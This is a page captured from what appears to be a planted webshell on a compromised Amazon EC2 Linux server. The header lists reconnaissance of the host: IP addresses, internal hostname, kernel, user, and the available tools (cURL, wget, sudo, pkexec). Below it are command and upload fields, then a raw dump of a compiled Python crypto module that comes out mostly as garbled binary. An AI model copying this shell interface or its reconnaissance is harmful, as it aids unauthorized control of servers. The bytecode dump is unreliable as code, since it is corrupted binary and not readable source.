403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/awscrt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/awscrt/__pycache__/crypto.cpython-39.pyc
a

ů�i/&�@s�ddlZddlmZddlmZmZddlmZGdd�d�ZGdd�d�Z	Gd	d
�d
e�Z
Gdd�de�ZGd
d�de�ZGdd�de�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)�N)�NativeResource)�Union�
NamedTuple)�IntEnumc@sJeZdZdd�Zedd��Zedd��Zedd��Zd	d
�Zddd
�Z	dS)�HashcCs
||_dS�z,
        don't call me, I'm private
        N)�_hash��self�
native_handle�r�3/usr/lib64/python3.9/site-packages/awscrt/crypto.py�__init__sz
Hash.__init__cCstt��d�S)zJ
        Creates a new instance of Hash, using the sha1 algorithm
        �r)r�_awscrt�sha1_newrrrr
rsz
Hash.sha1_newcCstt��d�S)zL
        Creates a new instance of Hash, using the sha256 algorithm
        r)rr�
sha256_newrrrr
rszHash.sha256_newcCstt��d�S)zJ
        Creates a new instance of Hash, using the md5 algorithm.
        r)rr�md5_newrrrr
r szHash.md5_newcCst�|j|�dS�N)rZhash_updater)r
Zto_hashrrr
�update'szHash.updatercCst�|j|�Sr)rZhash_digestr�r
Ztruncate_torrr
�digest*szHash.digestN)r)
�__name__�
__module__�__qualname__r�staticmethodrrrrrrrrr
r
s


rc@s2eZdZdd�Zedd��Zdd�Zddd	�Zd
S)�HMACcCs
||_dSr)�_hmacr	rrr
r/sz
HMAC.__init__cCstt�|�d�S)zq
        Creates a new instance of HMAC, using SHA256 HMAC as the algorithm and secret_key as the secret
        r)rr�sha256_hmac_new)Z
secret_keyrrr
r5szHMAC.sha256_hmac_newcCst�|j|�dSr)rZhmac_updater)r
Zto_hmacrrr
r<szHMAC.updatercCst�|j|�Sr)rZhmac_digestrrrrr
r?szHMAC.digestN)r)rrrrrrrrrrrr
r.s

rc@seZdZdZdZdZdZdS)�RSAEncryptionAlgorithm�RSA Encryption Algorithmr��N)rrr�__doc__ZPKCS1_5ZOAEP_SHA256ZOAEP_SHA512rrrr
rCs
rc@seZdZdZdZdZdZdS)�RSASignatureAlgorithmr rr!r"N)rrrr#ZPKCS1_5_SHA256ZPKCS1_5_SHA1Z
PSS_SHA256rrrr
r$Vs
r$cseZdZ�fdd�Zeeeeee	fdd�dd��Z
eeeeee	fdd�dd��Zeeeee	fdd�d	d
��Zeeeee	fdd�dd��Z
eeeee	fed
�dd�Zeeeee	fed�dd�Zeeeee	fed�dd�Zeeeee	feeee	fed�dd�Z�ZS)�RSAcst���||_dSr��superr�_binding�r
�binding��	__class__rr
rjs
zRSA.__init__)�pem_data�returncCstt�|�d�S)z�
        Creates a new instance of private RSA key pair from pem data.
        Raises ValueError if pem does not have private key object.
        �r*)r%rZrsa_private_key_from_pem_data�r-rrr
�new_private_key_from_pem_datansz!RSA.new_private_key_from_pem_datacCstt�|�d�S)z�
        Creates a new instance of public RSA key pair from pem data.
        Raises ValueError if pem does not have public key object.
        r/)r%rZrsa_public_key_from_pem_datar0rrr
�new_public_key_from_pem_datavsz RSA.new_public_key_from_pem_data��der_datar.cCstt�|�d�S)z�
        Creates a new instance of private RSA key pair from der data.
        Expects key in PKCS1 format.
        Raises ValueError if pem does not have private key object.
        r/)r%rZrsa_private_key_from_der_data�r4rrr
�new_private_key_from_der_data~sz!RSA.new_private_key_from_der_datacCstt�|�d�S)z�
        Creates a new instance of public RSA key pair from der data.
        Expects key in PKCS1 format.
        Raises ValueError if pem does not have public key object.
        r/)r%rZrsa_public_key_from_der_datar5rrr
�new_public_key_from_der_data�sz RSA.new_public_key_from_der_data)�encryption_algorithm�	plaintextr.cCst�|j||�S)z8
        Encrypts data using a given algorithm.
        )rZrsa_encryptr()r
r8r9rrr
�encrypt�szRSA.encrypt)r8�
ciphertextr.cCst�|j||�S)z8
        Decrypts data using a given algorithm.
        )rZrsa_decryptr()r
r8r;rrr
�decrypt�szRSA.decrypt)�signature_algorithmrr.cCst�|j||�S)zu
        Signs data using a given algorithm.
        Note: function expects digest of the message, ex sha256
        )rZrsa_signr()r
r=rrrr
�sign�szRSA.sign)r=r�	signaturer.cCst�|j|||�S�zp
        Verifies signature against digest.
        Returns True if signature matches and False if not.
        )rZ
rsa_verifyr()r
r=rr?rrr
�verify�sz
RSA.verify)rrrrrr�str�bytes�	bytearray�
memoryviewr1r2r6r7rr:r<r$r>�boolrA�
__classcell__rrr+r
r%is,����r%c@seZdZdZdZdZdS)�ED25519ExportFormatzED25519 Export formatrr!N)rrrr#ZRAWZOPENSSH_B64rrrr
rH�srHcsNeZdZ�fdd�Zedd�dd��Zeed�dd�Zeed�d	d
�Z	�Z
S)�ED25519cst���||_dSrr&r)r+rr
r�s
zED25519.__init__�r.cCstt��d�S)z?
        Generates a new instance of ED25159 key pair.
        r/)rIrZed25519_new_generaterrrr
�new_generate�szED25519.new_generate��
export_formatr.cCst�|j|�S�zE
        Exports public part of the key in specified format.
        )rZed25519_export_public_keyr(�r
rMrrr
�export_public_key�szED25519.export_public_keycCst�|j|�SrN)rZed25519_export_private_keyr(rOrrr
�export_private_key�szED25519.export_private_key)rrrrrrKrHrCrPrQrGrrr+r
rI�s
rIc@seZdZdZdZdZdS)�ECTypezElliptic Curve Typerr!N)rrrr#ZP_256ZP_384rrrr
rR�srRc@seZdZdZdZdZdZdS)�ECExportFormatzEC Export formatrr!r"N)rrrr#ZSEC1ZPKCS8ZSPKIrrrr
rS�s
rSc@seZdZUeed<eed<dS)�ECRawSignature�r�sN�rrrrC�__annotations__rrrr
rT�s
rTc@seZdZUeed<eed<dS)�ECPublicCoords�x�yNrWrrrr
rY�s
rYcs�eZdZ�fdd�Zeedd�dd��Zeeee	e
fdd�dd��Zeeed	�d
d��Z
eeeed�d
d��Zeeed	�dd��Zeed�dd�Zed�dd�Zeee	e
fed�dd�Zeee	e
feee	e
fed�dd�Z�ZS)�ECcst���||_dSrr&r)r+rr
rs
zEC.__init__)�typer.cCstt�|�d�S)z:
        Generates a new instance of EC key pair.
        r/)r\rZec_new_generate)r]rrr
rKszEC.new_generater3cCstt�|�d�S)aW
        Creates a new instance of EC key pair from der data.
        Will figure out what type of key it is without hint (i.e. pem header).
        Supports all formats specified in ECExportFormat.
        Expects raw bytes (i.e. strip b64 you get when reading pem).
        Raises ValueError if pem does not have private key object.
        r/)r\rZec_key_from_der_datar5rrr
�new_key_from_der_datas	zEC.new_key_from_der_data)r?r.cCst�|�\}}t||d�S)z8
        Decodes ec signature into raw r and s.
        )rUrV)rZec_decode_signaturerT)r?rUrVrrr
�decode_der_signatureszEC.decode_der_signature)r?�pad_tor.cCst�||�S)a
        Decodes ec signature into padded r || s.
        Both r and s are padded to the specified value and then concatenated.
        Typical format for jwt use case.
        Note: pad_to typically should equal to coord size. e.g 32 for P256 or 48 for P384
        )rZ"ec_decode_signature_to_padded_pair)r?r`rrr
�#decode_der_signature_to_padded_pair!sz&EC.decode_der_signature_to_padded_paircCs
t�|�S)z1
        Encodes raw signature into der.
        )rZec_encode_signature)r?rrr
�encode_raw_signature+szEC.encode_raw_signaturerLcCst�|j|�S)z6
        Exports the key in specified format.
        )rZ
ec_export_keyr(rOrrr
�
export_key2sz
EC.export_keyrJcCst�|j�\}}t||d�S)z.
        Get public coords of the key
        )rZr[)rZec_get_public_coordsr(rY)r
rZr[rrr
�get_public_coords8szEC.get_public_coords)rr.cCst�|j|�S)z�
        Signs data using a given algorithm.
        Returns DER encoded signature.
        Note: function expects digest of the message, ex sha256
        )rZec_signr()r
rrrr
r>?szEC.sign)rr?r.cCst�|j||�Sr@)rZ	ec_verifyr()r
rr?rrr
rAGsz	EC.verify)rrrrrrRrKrrCrDrEr^rTr_�intrarbrSrcrYrdr>rFrArGrrr+r
r\s"
	�r\)rZawscrtr�typingrr�enumrrrrr$r%rHrIrRrSrTrYr\rrrr
�<module>s$G

Youez - 2016 - github.com/yon3zu
LinuXploit